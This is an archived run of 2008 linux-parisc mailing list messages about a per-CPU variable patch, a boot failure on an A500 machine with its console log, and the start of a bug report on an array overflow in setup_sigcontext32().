Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 15 22:36:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JwkBJ-0006lo-Jk
	for glpp-linux-parisc@gmane.org; Thu, 15 May 2008 22:36:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752202AbYEOUfT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 May 2008 16:35:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753142AbYEOUfT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 May 2008 16:35:19 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:60150 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752202AbYEOUfS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 May 2008 16:35:18 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 4381817806E; Thu, 15 May 2008 16:35:17 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <482C9B93.9010701@gmx.de>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:319
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/319>

On Thu, May 15, 2008 at 10:22:43PM +0200, Helge Deller wrote:
> This is mostly copied over from x86 arch and I think it doesn't make 
> anything worse...
> Doesn't Superdomes support more than 32 CPUs ? (although I think superdome 
> isn't supported yet, or is it?)

We don't support anything bigger than 8-way (and only because N-class is
special and has two cpu busses). Much work would be needed to support
more than that for Superdome.

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC][PATCH] Change cpu_data[] and cpu_devices[] to per_cpu
 variables
Date: Fri, 16 May 2008 00:26:01 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <482CB879.7090707@gmx.de>
References: <200805030002.11151.deller@gmx.de> <20080515135857.GH12850@phobos.i.cabal.ca> <482C9B93.9010701@gmx.de> <20080515203517.GP12850@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1210890400 27516 80.91.229.12 (15 May 2008 22:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2008 22:26:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 16 00:27:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JwluZ-0002F1-G7
	for glpp-linux-parisc@gmane.org; Fri, 16 May 2008 00:26:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750951AbYEOW0J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 May 2008 18:26:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752862AbYEOW0J
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 May 2008 18:26:09 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:43227 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750951AbYEOW0I (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 May 2008 18:26:08 -0400
Original-Received: (qmail invoked by alias); 15 May 2008 22:26:05 -0000
Original-Received: from mnhm-590f79a6.pool.einsundeins.de (EHLO halden.box) [89.15.121.166]
  by mail.gmx.net (mp039) with SMTP; 16 May 2008 00:26:05 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18nI+kOQGQnG44dAQL0xyxoKquOnu3S6EfploMspQ
	RQbdl9f8mYRHYT
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080515203517.GP12850@phobos.i.cabal.ca>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:320
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/320>

Kyle McMartin wrote:
> On Thu, May 15, 2008 at 10:22:43PM +0200, Helge Deller wrote:
>> This is mostly copied over from x86 arch and I think it doesn't make 
>> anything worse...
>> Doesn't Superdomes support more than 32 CPUs ? (although I think superdome 
>> isn't supported yet, or is it?)
> 
> We don't support anything bigger than 8-way (and only because N-class is
> special and has two cpu busses). Much work would be needed to support
> more than that for Superdome.

Ok, no problem if you drop the Kconfig part of the patch.
The other parts of the patch are still useful nevertheless.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC][PATCH] Change cpu_data[] and cpu_devices[] to per_cpu
	variables
Date: Fri, 16 May 2008 10:59:23 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20080516145923.GE9666@phobos.i.cabal.ca>
References: <200805030002.11151.deller@gmx.de> <20080515135857.GH12850@phobos.i.cabal.ca> <482C9B93.9010701@gmx.de> <20080515203517.GP12850@phobos.i.cabal.ca> <482CB879.7090707@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1210950003 1831 80.91.229.12 (16 May 2008 15:00:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 May 2008 15:00:03 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 16 17:00:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jx1Pw-00039z-Kp
	for glpp-linux-parisc@gmane.org; Fri, 16 May 2008 17:00:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761064AbYEPO70 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 May 2008 10:59:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1763711AbYEPO70
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 May 2008 10:59:26 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:46245 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1763691AbYEPO7Y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 May 2008 10:59:24 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 37D57178087; Fri, 16 May 2008 10:59:23 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <482CB879.7090707@gmx.de>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:321
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/321>

On Fri, May 16, 2008 at 12:26:01AM +0200, Helge Deller wrote:
> Kyle McMartin wrote:
>> On Thu, May 15, 2008 at 10:22:43PM +0200, Helge Deller wrote:
>>> This is mostly copied over from x86 arch and I think it doesn't make 
>>> anything worse...
>>> Doesn't Superdomes support more than 32 CPUs ? (although I think 
>>> superdome isn't supported yet, or is it?)
>>
>> We don't support anything bigger than 8-way (and only because N-class is
>> special and has two cpu busses). Much work would be needed to support
>> more than that for Superdome.
>
> Ok, no problem if you drop the Kconfig part of the patch.
> The other parts of the patch are still useful nevertheless.
>

I'll get it in for .27

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC][PATCH] Change cpu_data[] and cpu_devices[] to per_cpu
 variables
Date: Fri, 16 May 2008 19:47:45 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <482DC8C1.7010504@gmx.de>
References: <200805030002.11151.deller@gmx.de> <20080515135857.GH12850@phobos.i.cabal.ca> <482C9B93.9010701@gmx.de> <20080515203517.GP12850@phobos.i.cabal.ca> <482CB879.7090707@gmx.de> <20080516145923.GE9666@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1210960083 9497 80.91.229.12 (16 May 2008 17:48:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 May 2008 17:48:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 16 19:48:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jx42p-00028J-B5
	for glpp-linux-parisc@gmane.org; Fri, 16 May 2008 19:48:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751888AbYEPRrx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 May 2008 13:47:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752012AbYEPRrx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 May 2008 13:47:53 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:46541 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751888AbYEPRrw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 May 2008 13:47:52 -0400
Original-Received: (qmail invoked by alias); 16 May 2008 17:47:50 -0000
Original-Received: from mnhm-590f6024.pool.einsundeins.de (EHLO halden.box) [89.15.96.36]
  by mail.gmx.net (mp051) with SMTP; 16 May 2008 19:47:50 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+C2/pc3YOCV5+2bL11Eu3RVF5sY/RBRIzQBEVS3L
	FbiHIwEO2d2yPd
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080516145923.GE9666@phobos.i.cabal.ca>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/322>

Kyle McMartin wrote:
> On Fri, May 16, 2008 at 12:26:01AM +0200, Helge Deller wrote:
>> Kyle McMartin wrote:
>>> On Thu, May 15, 2008 at 10:22:43PM +0200, Helge Deller wrote:
>>>> This is mostly copied over from x86 arch and I think it doesn't make 
>>>> anything worse...
>>>> Doesn't Superdomes support more than 32 CPUs ? (although I think 
>>>> superdome isn't supported yet, or is it?)
>>> We don't support anything bigger than 8-way (and only because N-class is
>>> special and has two cpu busses). Much work would be needed to support
>>> more than that for Superdome.
>> Ok, no problem if you drop the Kconfig part of the patch.
>> The other parts of the patch are still useful nevertheless.
>>
> 
> I'll get it in for .27

Thanks Kyle.

This is even my preferred solution, since I forgot to mention that I 
only was able to compile- and boot-test it on a UP machine, so a little 
more testing in SMP environments would be good.... (I don't have a SMP 
machine).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC][PATCH] Change cpu_data[] and cpu_devices[] to per_cpu
	variables
Date: Fri, 16 May 2008 13:59:41 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20080516175941.GJ9666@phobos.i.cabal.ca>
References: <200805030002.11151.deller@gmx.de> <20080515135857.GH12850@phobos.i.cabal.ca> <482C9B93.9010701@gmx.de> <20080515203517.GP12850@phobos.i.cabal.ca> <482CB879.7090707@gmx.de> <20080516145923.GE9666@phobos.i.cabal.ca> <482DC8C1.7010504@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1210960796 11802 80.91.229.12 (16 May 2008 17:59:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 May 2008 17:59:56 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 16 20:00:33 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jx4EI-0005C0-Og
	for glpp-linux-parisc@gmane.org; Fri, 16 May 2008 20:00:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752458AbYEPR7p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 May 2008 13:59:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752547AbYEPR7p
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 May 2008 13:59:45 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:57100 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752458AbYEPR7o (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 May 2008 13:59:44 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 95205178087; Fri, 16 May 2008 13:59:41 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <482DC8C1.7010504@gmx.de>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:323
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/323>

On Fri, May 16, 2008 at 07:47:45PM +0200, Helge Deller wrote:
> This is even my preferred solution, since I forgot to mention that I only 
> was able to compile- and boot-test it on a UP machine, so a little more 
> testing in SMP environments would be good.... (I don't have a SMP machine).
>

Can you check how much shipping a machine to your house would be? My 
address is 1944 Juno Ave., Ottawa, Canada, K1H 6T2. (Not like it matters
making this public, it's in the WHOIS for my domain anyway. ;-)

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Git head doesn't boot on A500
Date: Sat, 17 May 2008 15:20:46 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <7d01f9f00805170620t30630519h4890037400c62fb5@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1211030462 25110 80.91.229.12 (17 May 2008 13:21:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 17 May 2008 13:21:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 17 15:21:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JxMLw-0006dj-De
	for glpp-linux-parisc@gmane.org; Sat, 17 May 2008 15:21:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753127AbYEQNUu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 17 May 2008 09:20:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753251AbYEQNUu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 17 May 2008 09:20:50 -0400
Original-Received: from yw-out-2324.google.com ([74.125.46.31]:48897 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753127AbYEQNUt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 17 May 2008 09:20:49 -0400
Original-Received: by yw-out-2324.google.com with SMTP id 9so739083ywe.1
        for <linux-parisc@vger.kernel.org>; Sat, 17 May 2008 06:20:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
        bh=I5uGgMJ9VZy6yZMjOWe/mBN9SaQrzvcySxqM92uVS0g=;
        b=RfFgawdogUDIRSdQ9x6NcggWab3o0E8y9DdcAEn6N5eVZwE321A4riKCCBWwIpiCMmpWu/yY+3RM5zrxh44SnAG9MIjTyJ65sGqV3/laqx1GU/GNQpvCSJpUrFtVEZyTYj+hszieBPOZ436N/Sf4tfM8LTTUCKQPjN1phY3QKno=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
        b=ThCEB+f7X7ZVkL56PGmHanTR0qrlvGz1QAZvgjkzCKbn9+WhZWyGxX27/c57RwRKj4yqjjqVFPonpPZMEpdTsbIMc4A58IaDeWH1xPZEqvs+ztkf5z217NXI1HzlNNHtySvGxxN1y+NPtygN0arb8dwQts1+XOuHFWiVltPTJKY=
Original-Received: by 10.150.82.41 with SMTP id f41mr4546398ybb.169.1211030446268;
        Sat, 17 May 2008 06:20:46 -0700 (PDT)
Original-Received: by 10.151.51.16 with HTTP; Sat, 17 May 2008 06:20:46 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 0c3073ad2eee3923
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:324
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/324>

Hi pa-ckers

Just a quick failure report, I tested git head + jejb's zonelist patch
on my A500 (gcc-4.2) and it hpmc'd the box (afaict) very early during
bootup. I'll dig that more ASAP.

Console log:

Linux version 2.6.26-rc2-dirty (varenet@mkhppa3) (gcc version 4.2.3
(Debian 4.2.3-5)) #1 SMP Sat May 17 15:08:54 CEST 2008
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005d50 00000491 00000000 00000001 5cbb53d8 100000f0 00000008
000000b2 000000b2
vers  00000301
CPUID vers 18 rev 11 (0x0000024b)
capabilities 0x1
model 9000/800/A500-5X
Memory Ranges:
 0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 MB
 1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 MB
Total Memory: 4096 MB
SMP: bootstrap CPU ID is 0
Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 1034240
Kernel command line: root=/dev/sda5 console=ttyS0 TERM=vt102
palo_kernel=2/vmlinux-git
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64



Console reset done.

Boot device reset done.


HTH


-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Git head doesn't boot on A500
Date: Sat, 17 May 2008 09:26:23 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20080517152623.GA26649@colo.lackof.org>
References: <7d01f9f00805170620t30630519h4890037400c62fb5@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211038013 13770 80.91.229.12 (17 May 2008 15:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 17 May 2008 15:26:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 17 17:27:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JxOJj-0005ip-Nb
	for glpp-linux-parisc@gmane.org; Sat, 17 May 2008 17:27:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752082AbYEQP0h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 17 May 2008 11:26:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755272AbYEQP0h
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 17 May 2008 11:26:37 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:46256 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752082AbYEQP0g (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 17 May 2008 11:26:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A874B4F80FA;
	Sat, 17 May 2008 09:26:34 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26974-07; Sat, 17 May 2008 09:26:23 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 31AE74F80FD; Sat, 17 May 2008 09:26:23 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <7d01f9f00805170620t30630519h4890037400c62fb5@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:325
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/325>

On Sat, May 17, 2008 at 03:20:46PM +0200, Thibaut VARENE wrote:
> Hi pa-ckers
> 
> Just a quick failure report, I tested git head + jejb's zonelist patch
> on my A500 (gcc-4.2) and it hpmc'd the box (afaict) very early during
> bootup. I'll dig that more ASAP.

Two questions:
1) I suspect you missed the final email of the thread:
      http://thread.gmane.org/gmane.linux.ports.parisc/301/focus=309
   where jejb conceded the original proposed fix was correct.
   Try that instead?
2) PIM dump would help point where in the kernel it HPMC'd.

I'll try current TOB from
    git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6

unless someone has a better suggestion.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: parisc setup_sigcontext32() array overflows
Date: Sat, 17 May 2008 22:16:37 +0300
Lines: 50
Approved: news@gmane.org
Message-ID: <20080517191636.GA8140@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1211051923 24396 80.91.229.12 (17 May 2008 19:18:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 17 May 2008 19:18:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 17 21:19:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JxRw6-00015A-NL
	for glpp-linux-parisc@gmane.org; Sat, 17 May 2008 21:19:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755417AbYEQTSc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 17 May 2008 15:18:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755259AbYEQTSc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 17 May 2008 15:18:32 -0400
Original-Received: from smtp4.pp.htv.fi ([213.243.153.38]:40654 "EHLO smtp4.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753888AbYEQTSb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 17 May 2008 15:18:31 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181133002.pp.htv.fi [82.181.133.2])
	by smtp4.pp.htv.fi (Postfix) with ESMTP id 336355BC10B;
	Sat, 17 May 2008 22:18:30 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.17+20080114 (2008-01-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:326 gmane.linux.kernel:681899
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/326>

include/asm-parisc/ptrace.h:

<--  snip  -->

...
struct pt_regs {
        unsigned long gr[32];   /* PSW is in gr[0] */
...
}

<--  snip  -->


arch/parisc/kernel/signal32.c:

<--  snip  -->

...
setup_sigcontext32(struct compat_sigcontext __user *sc, struct compat_regfile __user * rf, 
                struct pt_regs *regs, int in_syscall)            
{
...
                /* Store upper half */
                compat_reg = (compat_uint_t)(regs->gr[32] >> 32);
...                                                   ^^
                /* Store upper half */
                compat_reg = (compat_uint_t)((regs->gr[32]+4) >> 32);
...                                                    ^^

